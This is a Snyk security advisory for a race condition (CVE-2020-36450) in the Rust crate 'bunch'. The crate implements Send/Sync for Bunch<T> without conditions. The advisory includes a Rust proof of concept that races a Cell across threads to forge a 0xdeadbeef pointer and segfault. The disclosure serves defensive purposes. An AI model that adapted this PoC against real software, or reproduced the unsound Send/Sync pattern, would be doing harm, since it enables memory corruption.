Race Condition Affecting bunch package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.46% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RUST-BUNCH-1316248
  • published7 Jul 2021
  • disclosed12 Nov 2020
  • creditYoungsuk Kim

Introduced: 12 Nov 2020

CVE-2020-36450  (opens in a new tab)
CWE-362  (opens in a new tab)

How to fix?

There is no fixed version for bunch.

Overview

bunch is an append-only, concurrent arena.

Affected versions of this package are vulnerable to Race Condition. This crate unconditionally implements Send/Sync for Bunch<T>. This allows users to insert T: !Sync to Bunch<T>. It is possible to create a data race to a T: !Sync by invoking the Bunch::get() API (which returns &T) from multiple threads. It is also possible to send T: !Send to other threads by inserting T inside Bunch<T> and sending Bunch<T> to another thread, allowing to create a data race by inserting types like T = Rc<_>. Such data races can lead to memory corruption.

PoC

#![forbid(unsafe_code)]

use bunch::Bunch; use std::cell::Cell; use std::sync::Arc; use std::thread;

// A simple tagged union used to demonstrate problems with data races in Cell. #[derive(Debug, Clone, Copy)] enum RefOrInt<'a> { Ref(&'a u64), Int(u64), } static X: u64 = 0;

fn main() { let bunch = Bunch::new(); // This item is not Sync, but yet can be pushed to Bunch. let item_not_sync = Cell::new(RefOrInt::Ref(&X)); bunch.push(item_not_sync);

let arc_0 = Arc::new(bunch);
let arc_1 = Arc::clone(&amp;arc_0);

let _child = thread::spawn(move || {
    let smuggled_cell = arc_1.get(0);

    loop {
        smuggled_cell.set(RefOrInt::Int(0xdeadbeef));
        smuggled_cell.set(RefOrInt::Ref(&amp;X))
    }
});

loop {
    if let RefOrInt::Ref(addr) = arc_0.get(0).get() {
        if addr as *const _ as usize != 0xdeadbeef {
            continue;
        }
        // Due to the data race, obtaining Ref(0xdeadbeef) is possible
        println!(&quot;Pointer is now: {:p}&quot;, addr);
        println!(&quot;Dereferencing addr will now segfault: {}&quot;, *addr);
    }
}

}

CVSS Scores

version 3.1